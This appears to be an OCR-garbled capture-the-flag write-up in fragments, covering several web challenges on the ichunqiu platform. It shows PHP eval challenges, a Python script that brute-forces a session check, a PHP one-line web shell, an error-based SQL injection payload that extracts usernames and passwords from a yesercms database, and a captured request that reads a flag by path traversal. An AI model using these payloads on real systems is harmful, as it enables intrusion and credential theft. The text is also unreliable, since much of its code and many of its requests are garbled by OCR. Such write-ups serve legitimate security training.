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include “flag. php”;
$a = @5 REQUEST[ hello']:
if(!preg match( / \wi8/", $a
die ("ERROR ) ;

eval ("var dump($$a):”);
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show_sourcel_ FILE_ ) :
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eval("var_dump($%a);");
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$a="b";
$b="bb";

//$$a->bb
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$_SESSION //session&ifi%iiE
$ COOKIE //cookie<:if#iiE
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$_FILES //HF LEKXHER
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include “flas.php”;
$a = @5 REQUEST[ hello']:

eval( “var dump($a):”):
show_source(_ FILE_ )
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<?php

error_reporting (0) ;

session_start():

require (. /flag. php’ ) ;

if(lisset ($_SESSION[ nums’ 1)) {
$_SESSION[ nums’'] = 0;
§_SESSION[ time’ ] = time();
§ SESSION[ whoami’] = ez’ ;

i£(8 SESSION[ time' ]+120<time()) {
session_destroy () ;

$value = § REQUEST[ value ]:
3 3 %

$str rand = range( 3, g );
$str rands = $str_rand[mt_rand(0, 25)]. $str_rand[mt_rand(0, 25)];

if(§_SESSION[ whoami’ 1==(8valuel0]. $valuell]) && substr(md5($value),’,4)==0){
§_SESSION[ nums’ ]++;
$_SESSION[ whoami’] = S$str_rands;

echo $str rands:

if (§_SESSION[ nums’ 1>=10){
echo §flag;

show_source(_FILE_ );
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if($ SESSION[ ‘whoami']==($value[0@].$value[1]) && substr(md5($value),5,4)==0){

$ SESSION['nums']++;
$_SESSION[ 'whoami'] = $str_rands;

echo $str_rands;
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error_reporting (0) ;
session_start():
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requirel . /flag.php J;
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import requests

url="http://1cl1a6a®563443a28cbadca76ebbdcd@056e8f6a0f2646e4.changame.ichunqiu.com/?value[]="
E) HARurlFBEMN L/ valuel ]=

s=requests.Session()

payload=‘ea‘’

r=s.get(url+payload)

for i in range(10):
payload=r.text[0:2]
r=s.get(url+payload)
print(r.text[0:50])
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<?php phpinfo(); ?>
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<script language="pHp">@eval($_POST[ 'psd'])</script>



R A R Th B AT 3RS url
i S TIE#

hnshell

Hht: /f4217145d884c14.changame.ichungiu.com/u/1.php|psd |
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& Load URL http:/f2412b2364eea41d49bd319af0d7did091ceacfid37cc4 511 changame.ichungiu.com:80/celive/live/header. php
I split URL
+) Execute

Postdata [] Referer [] User Agent [] Cookies Clear All

IGROUP_COMNCAT (username,password) from yesercms_user),1,37),0x5d),1)),NULL NULL NULL NULL NULL NULL)- </g=</sjxquery=

url:
http://xxx.com/celive/live/header.php

payload:
xajax=Postdata&xajaxargs[@]=<xjxquery><g>detail=xxxxxx"', (UpdateXML (1, CONCAT (0x5b,substring((SELECT/**/GROUP_CONC
AT (username, password) from yesercms_user),1,37),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </g></xjxquery>
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payload:
xajax=Postdata&xajaxargs[0]=<xjxquery><qg>detail=xxxxxx", (UpdateXML(1,CONCAT(Ox5b,substring( (SELECT/**/GROUP_CONC

AT (username,password) from yesercms_user),10,50),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </g></xjxquery>
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Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render

POST findex. php?ease=template&act=fetch&admin_di=admindsite=default HTTP/1.1

Host: 2412023642ead1d49bd319af0d7 dfd091 ceacffd37 cc451f. changame.ichungiu.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: application/json, text{avascript, %™

Accept-Language: zh-CN,zh;q=08,zh-TW,gq=0.7 zh-HK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-waw-form-urlencoded

X-Requested-With: XMLHttpRequest

Content-Length: 18

Crrigin: http:/i2412b2364eea41d49bd319af0d7 dfd091 ceacffd37 ccd51f. changame.ichungiu.com
Connection: close

Referer:

http: /1241262364 eead 1 d49bd319af0d7 dfd091 ceacffd37 ccd51f.changame.ichungiu. comfindex. php?cas
e=template&act=edit&admin_dimadmin&site=default

Cookie: chkphone=acWxNpxhQpDifAchhNuSnEqyiQubIO0000;
PHPSESSID=8453496fL2af30502:7 e30168e5fd ced;
passinfo=%E5%B85%80%E8 %E4 %BI%ET %89 %88 +%3 Ca+href%3D%22http%3A%2F %2 Fuww.cm
seasy.cn%2Fservice_1.html%22 +target%30%22_blank%22%3E%3Cfont+color%3D%22green%22%
3E%28%EB%B4 %AD%E % B9 %B0 % ER %EE%EE % EE%ID%E3%29 %3 C % 2Ffont%3E%3C%2F a%
3E; _jsluid_h=0d213db3baBbial7 dB9064 782492381, loginfalse=1; login_usermame=admin;
login_password=a94f3d9844c391ar9aeddh9aad 1 d2cdd; style=skin2

&id=../. .Mag.php

e

HTTP/1.1 200 OK

Date: Tue, 08 Sep 2020 07:04:42 GMT
Content-Type: text/html; charset=utf-8
Connection: close

Vary: Accept-Encoding

Pragma: no-cache

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
HVia-JsL elfceld -

¥-Cache: bypass

Content-Length: 267

{"content™ "<textarea rows=\"20\" cols=\"78\" id=\"..\/. \lag. php_content\" style=\"font-family:
Fixedsys verdana “4:4%; font-size: 12px\" name=\"..\/. \Vflag php_content\"><?php\necho flag is
here’\nflag{b5B5502a- d6a2-46c3-Hec-69a845 1 acdea) \n<\extarea=>"}
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